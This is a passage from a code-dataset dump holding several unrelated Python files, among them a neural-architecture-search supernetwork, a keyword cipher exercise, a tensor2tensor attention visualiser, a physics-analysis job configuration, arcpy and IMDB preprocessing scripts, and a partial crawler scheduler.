MixedOp(nn.Module):\n def __init__(self, C, stride):\n super(MixedOp, self).__init__()\n self._ops = nn.ModuleList()\n for primitive in PRIMITIVES:\n op = OPS[primitive](C, stride, False)\n if 'pool' in primitive:\n op = nn.Sequential(op, nn.BatchNorm2d(C, affine=False))\n self._ops.append(op)\n\n def forward(self, x):\n return sum(op(x) for op in self._ops)\n\nclass Cell(nn.Module):\n def __init__(self, steps, multiplier, C_prev_prev, C_prev, C, reduction, reduction_prev):\n super(Cell, self).__init__()\n self.reduction = reduction\n\n if reduction_prev:\n self.preprocess0 = FactorizedReduce(C_prev_prev, C, affine=False)\n else:\n self.preprocess0 = ReLUConvBN(C_prev_prev, C, 1, 1, 0, affine=False)\n self.preprocess1 = ReLUConvBN(C_prev, C, 1, 1, 0, affine=False)\n self._steps = steps\n self._multiplier = multiplier\n\n self._ops = nn.ModuleList()\n self._bns = nn.ModuleList()\n for i in range(self._steps):\n for j in range(2+i):\n stride = 2 if reduction and j < 2 else 1\n op = MixedOp(C, stride)\n self._ops.append(op)\n\n def forward(self, s0, s1):\n s0 = self.preprocess0(s0)\n s1 = self.preprocess1(s1)\n\n states = [s0, s1]\n offset = 0\n for i in range(self._steps):\n s = sum(self._ops[offset+j](h) for j, h in enumerate(states))\n offset += len(states)\n states.append(s)\n\n return torch.cat(states[-self._multiplier:], dim=1)\n\nclass SuperNetwork(nn.Module):\n def __init__(self, C, num_classes, layers, steps=4, multiplier=4, stem_multiplier=3):\n super(SuperNetwork, self).__init__()\n self._C = C\n self._num_classes = num_classes\n self._layers = layers\n self._steps = steps\n self._multiplier = multiplier\n\n C_curr = stem_multiplier*C\n self.stem = nn.Sequential(\n nn.Conv2d(3, C_curr, 3, padding=1, bias=False),\n nn.BatchNorm2d(C_curr)\n )\n\n C_prev_prev, C_prev, C_curr = C_curr, C_curr, C\n self.cells = nn.ModuleList()\n reduction_prev = False\n for i in range(layers):\n if i in [layers//3, 2*layers//3]:\n C_curr *= 2\n reduction = True\n else:\n reduction = False\n cell = Cell(steps, multiplier, C_prev_prev, C_prev, C_curr, reduction, reduction_prev)\n reduction_prev = reduction\n self.cells += [cell]\n C_prev_prev, C_prev = C_prev, multiplier*C_curr\n\n self.global_pooling = nn.AdaptiveAvgPool2d(1)\n self.classifier = nn.Linear(C_prev, num_classes)\n\n def forward(self, input):\n s0 = s1 = self.stem(input)\n for i, cell in enumerate(self.cells):\n # if cell.reduction:\n # weights = F.softmax(self.alphas_reduce, dim=-1)\n # else:\n # weights = F.softmax(self.alphas_normal, dim=-1)\n s0, s1 = s1, cell(s0, s1)\n out = self.global_pooling(s1)\n logits = self.classifier(out.view(out.size(0),-1))\n return logits\n\nif __name__ == '__main__':\n # num_layers = 1\n # sampled_architecture = random_sample((num_layers, sum(1 for i in range(4) for n in range(2+i)))).astype(int)\n # print(sampled_architecture)\n # child_model = ChildNetwork(16, 10, num_layers, sampled_architecture)\n # parent_model = SuperNetwork(16, 10, num_layers)\n #\n # parent_optimizer = torch.optim.SGD(\n # parent_model.parameters(),\n # 0.001,\n # momentum=0.9,\n # weight_decay=3e-4)\n #\n # child_optimizer = torch.optim.SGD(\n # child_model.parameters(),\n # 0.001,\n # momentum=0.9,\n # weight_decay=3e-4)\n #\n # initialize_gradients(child_model, child_optimizer)\n # initialize_gradients(parent_model, parent_optimizer)\n # copyParentToChild(parent_model, child_model, True, True)\n # copyChildToParent(parent_model, child_model, True, True)\n\n a = np.array([[1, 1, 2], [2, 2, 3]])\n b = np.array([[2, 1, 1], [3, 3, 2]])\n c = np.array([[1, 2, 1], [2, 3, 4]])\n d = np.array([[1, 6, 7], [3, 5, 6]])\n l = []\n l.append(a)\n l.append(b)\n l.append(c)\n l.append(d)\n l = np.array(l)\n\n norm_factor = getRepeatedPath(l)\n print(norm_factor)\n","sub_path":"cnn/parent_model.py","file_name":"parent_model.py","file_ext":"py","file_size_in_byte":14661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"32255151","text":"def encrypt(string, key):\n render = \"\"\n for index, f in enumerate(string):\n if f is not \" \":\n\n offset = ord(key[index]) - 64\n\n fnew = ord(f) + offset\n while fnew > 90:\n fnew -= 26\n while fnew < 65:\n fnew += 26\n render += chr(fnew)\n else:\n render += f\n\n return render\n\n\ndef decrypt(string, key):\n render = \"\"\n for index, f in enumerate(string):\n if f is not \" \":\n\n offset = ord(key[index]) - 64\n\n fnew = ord(f) - offset\n while fnew > 90:\n fnew -= 26\n while fnew < 65:\n fnew += 26\n render += chr(fnew)\n else:\n render += f\n\n return render\n \n\nblock = \"\"\n\n# INPUT GET funcChoice WHERE funcChoice must be \"E\" or \"D\"\nfuncChoiceFlag = False\n\nfuncChoice = input(\"Encode or Decode? [ E / D ]: \")\n\nwhile funcChoiceFlag is False:\n if funcChoice == \"E\" or funcChoice == \"D\" or funcChoice == \"e\" or funcChoice == \"d\":\n funcChoiceFlag = True\n else:\n print(\"Invalid input. Your choice should be only a \\\"E\\\" or \\\"D\\\".\")\n funcChoice = input(\"Encode or Decode? [ E / D ]: \")\n\nfuncChoice = funcChoice.upper()\n\n\n# INPUT GET message WHERE message must be only letters and spaces\nmessageFlag = False \n\nmessage = input(\"Input message: \")\n\nwhile messageFlag is False:\n if all(x.isalpha() or x.isspace() for x in message):\n messageFlag = True\n else:\n print(\"Invalid input. Message must only contain letters and spaces.\")\n message = input(\"Input message: \")\n\nmessage = message.upper()\n\n\n# INPUT GET keyword WHERE keyword must be only letters\nkeywordFlag = False \n\nkeyword = input(\"Input keyword: \")\n\nwhile keywordFlag is False:\n if all(x.isalpha() for x in keyword) and len(keyword) <= len(message):\n keywordFlag = True\n else:\n print(\"Invalid input. Keyword must only contain letters and must not be longer that message.\")\n keyword = input(\"Input keyword: \")\n\n\n# MAKE keyword equal length to message\nwhile len(keyword) < len(message):\n for i in keyword:\n keyword = keyword + i\n if len(keyword) == len(message):\n break\n\nkeyword = keyword.upper()\n\n\n# INPUT GET offset WHERE offset must be on integer\nif funcChoice == \"E\":\n block = encrypt( message, keyword)\n print(\"\\nMessage successfully encoded.\")\nelif funcChoice == \"D\":\n block = decrypt(message, keyword)\n print(\"\\nMessage successfully decoded.\")\nelse:\n print(\"Fatal ERROR. funcChoice couldn't be determined.\")\n\nprint(\"The new message is \\\"\" + block + \"\\\" with the keyword \" + keyword)\n","sub_path":"keyword.py","file_name":"keyword.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"384879893","text":"# import matplotlib as mpl\n# mpl.use('Agg', warn=False)\nimport matplotlib.pyplot as plt\nfrom connection import Connection\nimport strengthen_functions\nimport numpy as np\n\nnp.random.seed()\n# ax1, ax2 = plt.subplots(1, 2)\n# plt.figure(figsize=(10, 3))\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 3))\nfor i in range(11):\n conn = Connection(init_strength=.1 * i,\n pf=strengthen_functions.PF32, transmission_history_len=10**4)\n strength = []\n frequency = []\n for i in range(100000):\n conn.propagate_once(stimulus_prob=.8)\n strength.append(conn.get_strength())\n frequency.append(conn.get_frequency())\n ax1.plot(strength, alpha=.8)\n ax2.plot(frequency, alpha=.2, color='black')\n # ax1.set_xlabel('(a)')\n # ax2.set_xlabel('(b)')\n ax1.set_ylim(0, 1)\n ax2.set_ylim(0, 1)\n# plt.grid(True)\nplt.savefig('conn_01.png')\nplt.show()\n","sub_path":"conn_01_different_e_to_fp.py","file_name":"conn_01_different_e_to_fp.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"243575180","text":"class TinyMeteo(object):\n\t\n\tdef __init__(self,\t\t\t\t\n\t\touter_temp=float('NaN'),\n\t\touter_humid=float('NaN'), \n\t\tinner_temp=float('NaN'),\n\t\tinner_humid=float('NaN'),\n\t\tathm_pressure=float('NaN')):\n\t\t\n\t\tself.inner_humid=inner_humid\n\t\tself.outer_humid=outer_humid\n\t\tself.inner_temp=inner_temp\n\t\tself.outer_temp=outer_temp\n\t\tself.athm_pressure=athm_pressure\n\n\tdef __str__ (self):\n\t\tlst=[]\t\t\n\t\tfor property, value in vars(self).iteritems():\n\t\t\tnext= ':'.join([repr(property),repr(value)])\n\t\t\tlst.append(next)\n\t\treturn \"\\r\\n\".join(lst)\n\n","sub_path":"TinyMeteo.py","file_name":"TinyMeteo.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"572152083","text":"# coding:utf-8\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf8\")\n\nimport tensorflow as tf\n\nfrom tensor2tensor.utils import usr_dir as ud\nimport visualization\nfrom tensorflow.python.training import saver as saver_mod\nfrom tensor2tensor.utils import registry\nfrom tensor2tensor.utils import trainer_lib\nfrom tensor2tensor.visualization import attention\nimport numpy as np\nimport json\nimport codecs\n\nclass AttentionModel(object):\n\n def __init__(self,usr_dir,hparams_set,data_dir,model_dir,problem,model,\n return_beams,beam_size,custom_problem_type,force_decode_len,isGpu=False):\n self.usr_dir = usr_dir\n self.hparams_set = hparams_set\n self.data_dir = data_dir\n self.model_dir = model_dir\n self.problem = problem\n self.model = model\n self.isGpu = isGpu\n self.beam_size=beam_size\n self.return_beams=return_beams\n self.custom_problem_type=custom_problem_type\n self.force_decode_len=force_decode_len\n\n self.initCustomizedProblem()\n self.initVisualization()\n self.loadParameters()\n print('Finish initializing')\n\n def initCustomizedProblem(self):\n print('Init cutomized problem {0} from {1}'.format(self.problem,self.usr_dir))\n ud.import_usr_dir(self.usr_dir)\n\n def initVisualization(self):\n print('Start to initialize model')\n #(self, hparams_set, model_name, data_dir, problem_name, beam_size=1)\n self.visualizer = visualization.AttentionVisualizer(self.hparams_set,\n self.model,\n self.data_dir,\n self.problem,\n self.return_beams,\n self.beam_size,\n self.custom_problem_type,\n self.force_decode_len)\n\n def loadParameters(self):\n print('Start to load parameters from {0}'.format(self.model_dir))\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0)\n config = tf.ConfigProto(gpu_options=gpu_options)\n config.allow_soft_placement = True\n config.log_device_placement = False\n self.sess = tf.Session(config=config)\n with self.sess.as_default():\n s = tf.train.Saver()\n ckpt = saver_mod.get_checkpoint_state(self.model_dir)\n s.restore(self.sess,ckpt.model_checkpoint_path)\n\n\n def getAttentionData(self,inputStr,extra_length_multiply,writeout_name='data.js'):\n output_string, inp_text, out_text, att_mats = self.visualizer.get_vis_data_from_string(self.sess, inputStr,\n extra_length_multiply=extra_length_multiply,\n )\n print(inp_text)\n print(out_text)\n out_text_list=out_text.split(' ') if type(out_text) in [str,unicode] else out_text\n\n enc_att, dec_att, enc_dec_att=att_mats\n ### dict -> mat\n if type(enc_att[0])==dict:\n enc_att=[d.values()[0] for d in enc_att]\n if type(dec_att[0])==dict:\n dec_att=[d.values()[0] for d in dec_att]\n if type(enc_dec_att[0])==dict:\n enc_dec_att=[d.values()[0] for d in enc_dec_att]\n ### normallize\n enc_att,dec_att,enc_dec_att = (resize(enc_att),resize(dec_att),resize(enc_dec_att))\n ### get min len(list)\n min_num_layer=min([len(enc_att),len(dec_att),len(enc_dec_att)])\n enc_att=enc_att[:min_num_layer]\n dec_att=dec_att[:min_num_layer]\n enc_dec_att=enc_dec_att[:min_num_layer]\n #? shape??? enc_att if 2 layer [tensor,tensor] tensor=[1,8head,len,len]\n attention = _get_attention(\n inp_text, out_text_list, enc_att, dec_att, enc_dec_att)\n att_json = json.dumps(attention)\n js_json='window.attention='+att_json\n with codecs.open(writeout_name,mode='w',encoding='utf-8') as fp:\n fp.write(js_json)\n #return att_mats\n return enc_att, dec_att, enc_dec_att\n\n def getAttentionData_whichBeam(self,inputStr,which_beam):\n output_string, inp_text, out_text, att_mats = self.visualizer.get_vis_data_from_string(self.sess, inputStr,0,which_beam)\n print(inp_text)\n print(out_text)\n out_text_list=out_text.split(' ') if type(out_text) in [str,unicode] else out_text\n\n enc_att, dec_att, enc_dec_att=att_mats\n ### dict -> mat\n if type(enc_att[0])==dict:\n enc_att=[d.values()[0] for d in enc_att]\n if type(dec_att[0])==dict:\n dec_att=[d.values()[0] for d in dec_att]\n if type(enc_dec_att[0])==dict:\n enc_dec_att=[d.values()[0] for d in enc_dec_att]\n ### normallize\n enc_att,dec_att,enc_dec_att = (resize(enc_att),resize(dec_att),resize(enc_dec_att))\n #? shape??? enc_att if 2 layer [tensor,tensor] tensor=[1,8head,len,len]\n attention = _get_attention(\n inp_text, out_text_list, enc_att, dec_att, enc_dec_att)\n att_json = json.dumps(attention)\n js_json='window.attention='+att_json\n with codecs.open('data_%d.js'%which_beam,mode='w',encoding='utf-8') as fp:\n fp.write(js_json)\n #return att_mats\n return enc_att, dec_att, enc_dec_att\n\nENC_ATT=0\nDEC_ATT=1\nENC_DEC_ATT=2\n\ndef calculateWeights(atts,startIndex,endIndex,layer=0,attention_type=ENC_DEC_ATT):\n layer0 = len(atts[attention_type][layer][0])\n weights = 0.0\n for h in xrange(layer0):\n for i in xrange(startIndex,endIndex):\n weights = weights + atts[attention_type][layer][0][h][0][i]\n\n return weights\n\ndef _get_attention(inp_text, out_text, enc_atts, dec_atts, encdec_atts):\n \"\"\"Compute representation of the attention ready for the d3 visualization.\n\n Args:\n inp_text: list of strings, words to be displayed on the left of the vis\n out_text: list of strings, words to be displayed on the right of the vis\n enc_atts: numpy array, encoder self-attentions\n [num_layers, batch_size, num_heads, enc_length, enc_length]\n dec_atts: numpy array, decoder self-attentions\n [num_layers, batch_size, num_heads, dec_length, dec_length]\n encdec_atts: numpy array, encoder-decoder attentions\n [num_layers, batch_size, num_heads, enc_length, dec_length]\n\n Returns:\n Dictionary of attention representations with the structure:\n {\n 'all': Representations for showing all attentions at the same time.\n 'inp_inp': Representations for showing encoder self-attentions\n 'inp_out': Representations for showing encoder-decoder attentions\n 'out_out': Representations for showing decoder self-attentions\n }\n and each sub-dictionary has structure:\n {\n 'att': list of inter attentions matrices, one for each attention head\n 'top_text': list of strings, words to be displayed on the left of the vis\n 'bot_text': list of strings, words to be displayed on the right of the vis\n }\n \"\"\"\n def get_full_attention(layer):\n \"\"\"Get the full input+output - input+output attentions.\"\"\"\n enc_att = enc_atts[layer][0]\n dec_att = dec_atts[layer][0]\n encdec_att = encdec_atts[layer][0]\n enc_att = np.transpose(enc_att, [0, 2, 1])\n dec_att = np.transpose(dec_att, [0, 2, 1])\n encdec_att = np.transpose(encdec_att, [0, 2, 1])\n # [heads, query_length, memory_length]\n enc_length = enc_att.shape[1]\n dec_length = dec_att.shape[1]\n num_heads = enc_att.shape[0]\n first = np.concatenate([enc_att, encdec_att], axis=2)\n second = np.concatenate(\n [np.zeros((num_heads, dec_length, enc_length)), dec_att], axis=2)\n full_att = np.concatenate([first, second], axis=1)\n return [ha.T.tolist() for ha in full_att]\n\n def get_inp_inp_attention(layer):\n att = np.transpose(enc_atts[layer][0], (0, 2, 1))\n return [ha.T.tolist() for ha in att]\n\n def get_out_inp_attention(layer):\n att = np.transpose(encdec_atts[layer][0], (0, 2, 1))\n return [ha.T.tolist() for ha in att]\n\n def get_out_out_attention(layer):\n att = np.transpose(dec_atts[layer][0], (0, 2, 1))\n return [ha.T.tolist() for ha in att]\n\n def get_attentions(get_attention_fn):\n num_layers = len(enc_atts)\n attentions = []\n for i in range(num_layers):\n attentions.append(get_attention_fn(i))\n\n return attentions\n\n attentions = {\n 'all': {\n 'att': get_attentions(get_full_attention),\n 'top_text': inp_text + out_text,\n 'bot_text': inp_text + out_text,\n },\n 'inp_inp': {\n 'att': get_attentions(get_inp_inp_attention),\n 'top_text': inp_text,\n 'bot_text': inp_text,\n },\n 'inp_out': {\n 'att': get_attentions(get_out_inp_attention),\n 'top_text': inp_text,\n 'bot_text': out_text,\n },\n 'out_out': {\n 'att': get_attentions(get_out_out_attention),\n 'top_text': out_text,\n 'bot_text': out_text,\n },\n }\n\n return attentions\n\ndef resize(att_mat, max_length=None):\n \"\"\"Normalize attention matrices and reshape as necessary.\"\"\"\n for i, att in enumerate(att_mat):\n # Add extra batch dim for viz code to work.\n if att.ndim == 3:\n att = np.expand_dims(att, axis=0)\n if max_length is not None:\n # Sum across different attention values for each token.\n att = att[:, :, :max_length, :max_length]\n row_sums = np.sum(att, axis=2)\n # Normalize\n att /= row_sums[:, :, np.newaxis]\n att_mat[i] = att\n return att_mat\n\nif __name__ == '__main__':\n flags = tf.flags\n FLAGS = flags.FLAGS\n flags.DEFINE_string(\"data_dir\", None,\n \"\")\n\n rootDir='/Users/yangrui/Desktop/bdmd/fushan_corpus/hadoop_test/problem_chunks/t2t144/problem_chafangjilu_cutsentence_universalTransformer'\n\n\n\n\n\n\n problemName = 'chafang_problem'\n usr_dir = rootDir + '/src'\n hparams_set = \"adaptive_universal_transformer_small\"\n data_dir = rootDir + '/data'\n FLAGS.data_dir = data_dir\n model_dir = rootDir + '/model'\n problem = problemName\n model_name='universal_transformer'\n return_beams=True\n beam_size=1\n custom_problem_type='seq2seq'\n\n\n inputStr = u'右侧对光反射灵敏'\n attModel = AttentionModel(usr_dir,hparams_set,data_dir,model_dir,problem,model_name,\n return_beams,beam_size,custom_problem_type,isGpu=False)\n\n\n print('-----------------------------------------')\n\n enc_dec = attModel.getAttentionData(inputStr)\n\n\n\n # startIndex = 0\n # endIndex = 1\n # str = ' '.join(strs[startIndex:endIndex])\n # print('Feature is {0}'.format(str))\n # print('weights is {0}'.format(calculateWeights(enc_dec, startIndex, endIndex)))\n\n \"\"\" \n import time\n while(True):\n inputStr = raw_input('Please input symptoms:\\n')\n inputStr = ' '.join(inputStr.decode('utf-8'))\n print(inputStr)\n print('............')\n t1 = time.time()\n enc_dec = attModel.getAttentionData(inputStr)\n t2 = time.time()\n print('Calculation time is {0} seconds'.format(t2-t1))\n \"\"\"\n\n","sub_path":"problem_util_yr/nouse/t2t166_visualize_1beam/attention/AttentionModel.py","file_name":"AttentionModel.py","file_ext":"py","file_size_in_byte":10891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"513561294","text":"import ROOT\n# Workaround to fix threadlock issues with GUI\nROOT.PyConfig.StartGuiThread = False\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\nimport commonOptions\n\nparser = commonOptions.parseCommonOptions()\n#you can add additional options here if you want\n#parser.add_option('--verbosity', help = \"Run all algs at the selected verbosity.\",choices=(\"info\", \"warning\",\"error\", \"debug\", \"verbose\"), default=\"error\")\n\n(options, args) = parser.parse_args()\n#print options\n\nROOT.gROOT.Macro( '$ROOTCOREDIR/scripts/load_packages.C' )\n\n# create a new sample handler to describe the data files we use\nlogging.info(\"creating new sample handler\")\nsh_all = ROOT.SH.SampleHandler()\n\ncommonOptions.fillSampleHandler(sh_all, options.inputDS)\n\nsh_all.setMetaString (\"nc_tree\", \"CollectionTree\");\n#sh_all.printContent();\n\n# this is the basic description of our job\nlogging.info(\"creating new job\")\njob = ROOT.EL.Job()\njob.sampleHandler(sh_all)\njob.useXAOD()\n\nlogging.info(\"creating algorithms\")\n\noutputFilename = \"trees\"\noutput = ROOT.EL.OutputStream(outputFilename);\n\n#here we add the algorithms we want to run over\nimport collections\nalgsToRun = collections.OrderedDict()\n\nalgsToRun[\"basicEventSelection\"] = ROOT.BasicEventSelection()\ncommonOptions.configxAODAnaHelperAlg(algsToRun[\"basicEventSelection\"] )\nsetattr(algsToRun[\"basicEventSelection\"], \"m_derivationName\" , \"SUSY1KernelSkim\" )\nsetattr(algsToRun[\"basicEventSelection\"], \"m_triggerSelection\", \".+\" )\nsetattr(algsToRun[\"basicEventSelection\"], \"m_applyTriggerCut\" , False )\n\n\nalgsToRun[\"calibrateST\"] = ROOT.CalibrateST()\nalgsToRun[\"calibrateST\" ].SUSYToolsConfigFileName = \"${ROOTCOREBIN}/data/FactoryTools/SUSYTools_zl.conf\"\n# algsToRun[\"calibrateST\" ].systVar = 0\nalgsToRun[\"calibrateST\" ].PRWConfigFileNames = algsToRun[\"basicEventSelection\"].m_PRWFileNames\nalgsToRun[\"calibrateST\" ].PRWLumiCalcFileNames = algsToRun[\"basicEventSelection\"].m_lumiCalcFileNames\n\n# This preselection algorithm does nothing at the moment.\nalgsToRun[\"preselectDileptonicWW\"] = ROOT.PreselectDileptonicWWEvents()\n\n# Main selection and sorting algorithm\nalgsToRun[\"selectZeroLepton\"] = ROOT.SelectZeroLeptonEvents()\n\n# These are the calculators that calculate various derived quantities\nalgsToRun[\"calculateRJigsawVariables\"] = ROOT.CalculateRJigsawVariables()\nalgsToRun[\"calculateRJigsawVariables\"].calculatorName = ROOT.CalculateRJigsawVariables.zlCalculator\nalgsToRun[\"calculateRegionVars\"] = ROOT.CalculateRegionVars()\nalgsToRun[\"calculateRegionVars\"].calculatorName = ROOT.CalculateRegionVars.zlCalculator\n\n# This bit runs filtering on derived variables. e.g. MEff filter.\nalgsToRun[\"postselectZeroLepton\"] = ROOT.PostselectZeroLeptonEvents()\n\n# These correspond to writing out the various trees used in the analysis\nfor regionName in [\"SR\",\"CR1L\",\"CR2L\",\"CRY\"]:\n tmpWriteOutputNtuple = ROOT.WriteOutputNtuple()\n tmpWriteOutputNtuple.outputName = outputFilename\n tmpWriteOutputNtuple.regionName = regionName\n # tmpWriteOutputNtuple.systVar = 0\n algsToRun[\"writeOutputNtuple_\"+regionName] = tmpWriteOutputNtuple\n\nif options.doSystematics : \n\talgsToRun = commonOptions.doSystematics(algsToRun,fullChainOnWeightSysts = 0, excludeStrings = [\"JET_Rtrk_\",\"TAUS_\"])\n\njob.outputAdd(output);\ncommonOptions.addAlgsFromDict(job , algsToRun , options.verbosity)\n\nif options.nevents > 0 :\n logging.info(\"Running \" + str(options.nevents) + \" events\")\n job.options().setDouble (ROOT.EL.Job.optMaxEvents, float(options.nevents));\n\ncommonOptions.overwriteSubmitDir(options.submitDir , options.doOverwrite)\ncommonOptions.submitJob ( job , options.driver , options.submitDir , options.gridUser , options.gridTag)\n","sub_path":"util/run_zl.py","file_name":"run_zl.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"123273815","text":"#-------------------------------------------------------------------------------\r\n# Name: module1\r\n# Purpose:\r\n#\r\n# Author: Eric\r\n#\r\n# Created: 03/04/2018\r\n# Copyright: (c) Eric 2018\r\n# Licence: \r\n#-------------------------------------------------------------------------------\r\n\r\n# this script restricts the list of layers using a wildcard\r\n# and a specific data frame. Only works with inside of ArcGIS Desktop\r\n\r\n#import the module\r\nimport arcpy.mapping as mapping\r\n\r\n# reference currently active map document\r\nmxd = mapping.MapDocument(\"CURRENT\")\r\n\r\n# get a list of dataframes and search for specific dataframe names \"disputed areas\"\r\nfor df in mapping.ListDataFrames(mxd):\r\n if df.name == \"Disputed areas\":\r\n # call the listlayers function, pass a reference to the map doc,\r\n # a wildcard to restrict the search, and the dataframe found to\r\n # restrict the search\r\n layers = mapping.ListLayers(mxd, \"ne*\", df)\r\n # start a for loop and print out the name of each layer\r\n for layer in layers:\r\n print(layer.name)\r\n","sub_path":"arcpy 010 restricting the list of layers.py","file_name":"arcpy 010 restricting the list of layers.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"293136498","text":"import os\nimport numpy as np\nimport pandas as pd\nimport torch\n\n\ndef record_activations(model, data, device):\n raw_data = []\n\n # set up recording forward hook\n def acitvation_recorder(self, input, output):\n out, _ = output\n\n try:\n out = out.numpy()\n except TypeError:\n out = out.cpu().numpy()\n\n raw_data.append(out)\n\n hook = model.rnn.register_forward_hook(acitvation_recorder)\n\n # feed stimuli to network\n with torch.no_grad():\n for i, batch in enumerate(data):\n inputs, _ = batch\n inputs = inputs.to(device)\n\n outputs = model(inputs)[0]\n\n hook.remove()\n raw_data = np.concatenate(raw_data)\n\n # Transform data to Pandas DataFrame\n\n input_idx = range(raw_data.shape[0])\n timesteps = range(raw_data.shape[1])\n units = range(raw_data.shape[2])\n\n s = pd.Series(\n data=raw_data.reshape(-1),\n index=pd.MultiIndex.from_product(\n [input_idx, timesteps, units],\n names=['input','timestep', 'unit']),\n name='activation')\n\n return s\n","sub_path":"analysis/recording.py","file_name":"recording.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"153928714","text":"__author__ = \"Luke Liu\"\n#encoding=\"utf-8\"\nimport os\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing import sequence\npath='../dataset/aclimdb'\nlabels=[]\ntexts=[]\ntraining_dir = os.path.join(path,'test')\nfor label_type in ['neg','pos']:\n ppath = os.path.join(training_dir,label_type)\n for file_name in os.listdir(ppath):\n if file_name[-4:]== '.txt':\n with open(os.path.join(ppath,file_name),'rb') as f1:\n texts.append(f1.read())\n if label_type=='neg':\n labels.append(0)\n else:\n labels.append(1)\nImdn_dict={\"texts\":texts,\"comment\":labels}\nimport pickle\nwith open(\"IMnd_python_test\",'wb') as f1:\n pickle.dump(Imdn_dict, f1)\n\n\n","sub_path":"Recurrent Neural Network/RNN/SImpleRNN_IMnd_dataprocess.py","file_name":"SImpleRNN_IMnd_dataprocess.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383706039","text":"from compute_graph import ComputeGraph\nfrom compute_graph.operation import Map, Join\n\n\ndef get_simple_data():\n return [\n {\"1\": 1, \"2\": 2},\n {\"1\": 3, \"2\": 4},\n {\"1\": 5, \"2\": 6},\n {\"1\": 7, \"2\": 8}\n ]\n\n\ndef test_simple_join():\n g_1 = ComputeGraph(inputs=get_simple_data(), outputs=[],\n save_to_variable=True)\n\n g = ComputeGraph(inputs=get_simple_data(), outputs=[],\n save_to_variable=True)\n g.add(Join(on_graph=g_1, by=\"1\", strategy=\"inner\"))\n g.compile()\n g.run()\n resp = [\n {\"left_1\": 1, \"left_2\": 2, \"right_1\": 1, \"right_2\": 2},\n {\"left_1\": 3, \"left_2\": 4, \"right_1\": 3, \"right_2\": 4},\n {\"left_1\": 5, \"left_2\": 6, \"right_1\": 5, \"right_2\": 6},\n {\"left_1\": 7, \"left_2\": 8, \"right_1\": 7, \"right_2\": 8},\n ]\n assert g.output_node.output == resp\n\nif __name__ == '__main__':\n test_simple_join()","sub_path":"1st-term/Python/computation-graph/tests/test_join.py","file_name":"test_join.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"198585110","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:\n# Author: Binux\n# http://binux.me\n# Created on 2014-02-07 17:05:11\n\n\nimport time\nimport Queue\nimport logging\nfrom task_queue import TaskQueue\n\n\nclass Scheduler(object):\n _update_project_interval = 5*60\n \n def __init__(self, taskdb, projectdb, request_fifo, status_fifo, out_fifo):\n self.taskdb = taskdb\n self.projectdb = projectdb\n self.request_fifo = request_fifo\n self.status_fifo = status_fifo\n self.out_fifo = out_fifo\n\n self._quit = False\n self.projects = dict()\n self._last_update_project = 0\n self.task_queue = dict()\n\n def _load_projects(self):\n self.projects = dict()\n for project in self.projectdb.get_all():\n self.projects[project['name']] = project\n self._last_update_project = time.time()\n\n def _update_projects(self):\n now = time.time()\n if self._last_update_project + self._update_project_interval > now:\n return\n for project in self.projectdb.check_update(now):\n self.projects[project['name']] = project\n if project['name'] not in self.task_queue:\n self._load_tasks(project['name'])\n self.task_queue[project['name']].rate = project['rate']\n self.task_queue[project['name']].burst = project['burst']\n\n scheduler_task_fields = ['taskid', 'project', 'schedule', ]\n def _load_tasks(self, project):\n self.task_queue[project] = TaskQueue(rate=0, burst=0)\n for task in self.taskdb.load_tasks('ACTIVE', project,\n self.scheduler_task_fields):\n taskid = task['taskid']\n if 'schedule' in task:\n priority = task['schedule'].get('priority', 0)\n exetime = task['schedule'].get('exetime', 0)\n else:\n priority = 0\n exetime = 0\n self.task_queue.put(taskid, priority, exetime)\n\n request_task_fields = ['taskid', 'project', 'fetch', 'process']\n def _load_task_body(self, taskid):\n return self.taskdb.get_task(taskid, fields=self.request_task_fields)\n\n def _insert_task(self, task):\n return self.taskdb.insert(task['project'], task['taskid'], task)\n\n def _update_task(self, task):\n return self.taskdb.insert(task['project'], task['taskid'], task)\n\n def _check_task_done(self):\n cnt = 0\n try:\n while True:\n task = self.status_fifo.get_nowait()\n if 'taskid' not in task:\n logging.error(\"taskid not in task: %s\", task)\n continue\n if 'project' not in task:\n logging.error(\"project not in task: %s\", task)\n continue\n task = self.on_task_status(task)\n if task:\n self._update_task(task)\n self.task_queue[task['project']].done(task['taskid'])\n cnt += 1\n except Queue.Empty:\n pass\n return cnt\n\n merge_task_fields = ['taskid', 'project', 'fetch', 'process']\n def _check_request(self):\n cnt = 0\n try:\n while True:\n task = self.request_fifo.get_nowait()\n if 'taskid' not in task:\n logging.error(\"taskid not in task: %s\", task)\n continue\n if 'project' not in task:\n logging.error(\"project not in task: %s\", task)\n continue\n oldtask = self.taskdb.get_task(task['project'], task['taskid'],\n self.merge_task_fields)\n if oldtask:\n task = self.on_old_request(task, oldtask)\n self._update_task(task)\n else:\n task = self.on_new_request(task)\n self._insert_task(task)\n if task:\n self.task_queue[task['project']].put(task['taskid'],\n priority=task.get('priority', 0),\n exetime=task.get('exetime', 0))\n cnt += 